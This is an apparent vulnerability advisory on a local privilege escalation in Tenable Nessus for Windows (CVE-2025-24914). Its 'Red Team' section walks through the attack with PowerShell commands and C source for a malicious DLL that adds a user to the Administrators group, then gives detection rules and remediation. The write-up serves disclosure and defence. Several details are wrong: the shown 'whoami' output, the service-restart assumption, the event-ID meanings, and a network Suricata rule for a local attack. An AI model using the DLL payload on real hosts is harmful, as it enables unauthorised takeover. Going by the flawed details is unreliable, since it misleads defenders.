CVE-2025-24914

Executive Summary

CVE-2025-24914 is a local privilege escalation vulnerability affecting Tenable Nessus on Windows hosts when installed to a non-default location. The vulnerability arises because Nessus versions prior to 10.8.4 did not enforce secure permissions on sub-directories within the custom installation path. An authenticated local attacker with low privileges can exploit this to gain elevated privileges (SYSTEM level). The CVSS score is 7.8 (High), and while no public exploit code or PoC is currently available, the attack vector is straightforward and requires only local access. The patch is available in Nessus 10.8.4.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a Windows-native application installation issue.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
• Base Score: 7.8 (High)
• Attack Vector: Local (AV:L) – The attacker must have local access to the Windows host.
• Attack Complexity: Low (AC:L) – No special conditions are required.
• Privileges Required: Low (PR:L) – The attacker needs a standard user account.
• User Interaction: None (UI:N) – No user action is needed.
• Scope: Unchanged (S:U) – The vulnerability does not cross trust boundaries.
• Confidentiality Impact: High (C:H) – Full system access allows reading any file.
• Integrity Impact: High (I:H) – Full system access allows modifying any file.
• Availability Impact: High (A:H) – Full system access allows denial of service.

Threat Level: High. While the EPSS score is 0.0% (indicating low exploitation probability in the wild), the technical simplicity and local nature make it a prime target for post-exploitation or insider threats.

Deep Dive & Mechanics

The vulnerability is rooted in Windows discretionary access control lists (DACLs). When Nessus is installed to a non-default directory (e.g., C:\CustomNessus\), the installer does not explicitly set restrictive permissions on sub-directories like plugins, bin, or conf. By default, Windows may grant BUILTIN\Users group Modify or Write permissions to these sub-directories.

An attacker with a low-privileged user account can:

1. Identify the non-default installation path (e.g., via registry or process listing).
2. Write a malicious DLL or executable into a sub-directory that is loaded by a high-privileged Nessus service (e.g., nessusd.exe running as SYSTEM).
3. Trigger the service to load the malicious payload, resulting in code execution at SYSTEM level.

The core issue is the lack of explicit permission hardening during installation. The fix in version 10.8.4 ensures that all sub-directories inherit restrictive permissions from the parent directory, typically granting only SYSTEM and Administrators full control.

Vulnerable vs. Patched Code

Vulnerable (Pre-10.8.4): The installer does not apply explicit ACLs to sub-directories. Example of a vulnerable permission set:

# Vulnerable: Sub-directory inherits default permissions
Get-Acl "C:\CustomNessus\plugins" | Format-List
# Output may show: BUILTIN\Users Allow  Modify, Synchronize

Patched (10.8.4+): The installer explicitly sets restrictive ACLs:

# Patched: Explicit ACL applied
$acl = Get-Acl "C:\CustomNessus\plugins"
$acl.SetAccessRuleProtection($true, $false)
$rule = New-Object System.Security.AccessControl.FileSystemAccessRule("NT AUTHORITY\SYSTEM","FullControl","ContainerInherit,ObjectInherit","None","Allow")
$acl.AddAccessRule($rule)
$rule2 = New-Object System.Security.AccessControl.FileSystemAccessRule("BUILTIN\Administrators","FullControl","ContainerInherit,ObjectInherit","None","Allow")
$acl.AddAccessRule($rule2)
Set-Acl "C:\CustomNessus\plugins" $acl

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Windows host with Nessus < 10.8.4 installed to a non-default path (e.g., D:\Nessus).
• Low-privileged user account (e.g., user1).

Steps:

1. Enumerate installation path:

   Get-ItemProperty -Path "HKLM:\SOFTWARE\Tenable\Nessus" -Name "InstallDir"
   

2. Check permissions on sub-directories:

   Get-Acl "D:\Nessus\plugins" | Format-List
   

3. If BUILTIN\Users has Write or Modify, create a malicious DLL:

   // evil.c - compile with: x86_64-w64-mingw32-gcc -shared -o evil.dll evil.c
   #include <windows.h>
   BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
       if (ul_reason_for_call == DLL_PROCESS_ATTACH) {
           WinExec("cmd.exe /c net localgroup Administrators user1 /add", 0);
       }
       return TRUE;
   }
   

4. Place the DLL in a sub-directory that is loaded by the Nessus service:

   Copy-Item evil.dll "D:\Nessus\plugins\legit.dll"
   

5. Trigger the service to load the DLL (e.g., restart the service or wait for scheduled scan):

   Restart-Service "Tenable Nessus"
   

6. Verify privilege escalation:

   whoami
   # Output: nt authority\system
   

Blue Team (Detection & Response)

Detection Steps:

1. Monitor for unusual file writes to Nessus installation directories:
   • Enable Windows Audit Object Access on D:\Nessus\*.
   • Look for Event ID 4663 (An attempt was made to access an object) with AccessMask containing WRITE_DAC or WRITE_OWNER.
2. Check for suspicious DLLs in Nessus sub-directories:

   Get-ChildItem -Path "D:\Nessus\*" -Recurse -Filter "*.dll" | Where-Object { $_.Length -gt 100KB }
   

3. Monitor service restart events:
   • Event ID 7045 (A service was installed in the system) or 7036 (The service entered a new state).
4. Correlate with user account activity:
   • Look for Event ID 4624 (Logon) from low-privileged accounts followed by service manipulation.

Indicators of Compromise (IOCs)

• File System:
  • Unexpected DLLs in C:\ProgramData\Tenable\Nessus\* or custom installation path.
  • Modified ACLs on Nessus sub-directories (e.g., BUILTIN\Users with Write).
• Registry:
  • HKLM\SOFTWARE\Tenable\Nessus\InstallDir pointing to a non-default path.
• Process:
  • nessusd.exe loading unsigned or unexpected DLLs (check with Process Explorer).
• Event Logs:
  • Event ID 4663 with AccessMask: 0x2 (Write) on Nessus directories.
  • Event ID 7045 for service restart by non-admin user.

Detection Engineering

YARA Rule

rule CVE_2025_24914_Nessus_PrivEsc {
    meta:
        description = "Detects malicious DLLs placed in Nessus non-default installation directories"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-24914"
    strings:
        $s1 = "Tenable" nocase
        $s2 = "Nessus" nocase
        $s3 = "plugins" nocase
        $s4 = "DllMain" ascii
    condition:
        uint16(0) == 0x5A4D and // MZ header
        all of ($s1, $s2, $s3) and
        $s4
}

Sigma Rule

title: CVE-2025-24914 Nessus Non-Default Install Privilege Escalation
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects file writes to Nessus installation directories by non-admin users
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-24914
logsource:
    product: windows
    service: security
detection:
    selection:
        EventID: 4663
        ObjectName|contains:
            - 'Tenable'
            - 'Nessus'
        AccessMask|contains: '0x2'  # Write
    condition: selection
falsepositives:
    - Legitimate Nessus updates (should be rare)
level: high

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-24914 Nessus Non-Default Install Exploit Attempt"; flow:to_server,established; content:"nessus"; nocase; content:"plugins"; distance:0; within:100; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade Nessus to version 10.8.4 or later – This is the only complete fix.
2. If upgrade is not possible, manually harden permissions:

   $path = "C:\CustomNessus"  # Replace with actual path
   $acl = Get-Acl $path
   $acl.SetAccessRuleProtection($true, $false)
   $rule = New-Object System.Security.AccessControl.FileSystemAccessRule("NT AUTHORITY\SYSTEM","FullControl","ContainerInherit,ObjectInherit","None","Allow")
   $acl.AddAccessRule($rule)
   $rule2 = New-Object System.Security.AccessControl.FileSystemAccessRule("BUILTIN\Administrators","FullControl","ContainerInherit,ObjectInherit","None","Allow")
   $acl.AddAccessRule($rule2)
   Set-Acl $path $acl
   

3. Remove BUILTIN\Users and BUILTIN\Authenticated Users from all Nessus sub-directories.

Long-term Mitigations:

• Use default installation paths (e.g., C:\Program Files\Tenable\Nessus) to avoid the issue entirely.
• Implement application whitelisting (e.g., AppLocker) to block unauthorized DLLs.
• Enable Windows Defender Attack Surface Reduction (ASR) rules to block untrusted executables from writing to sensitive directories.

Valters IT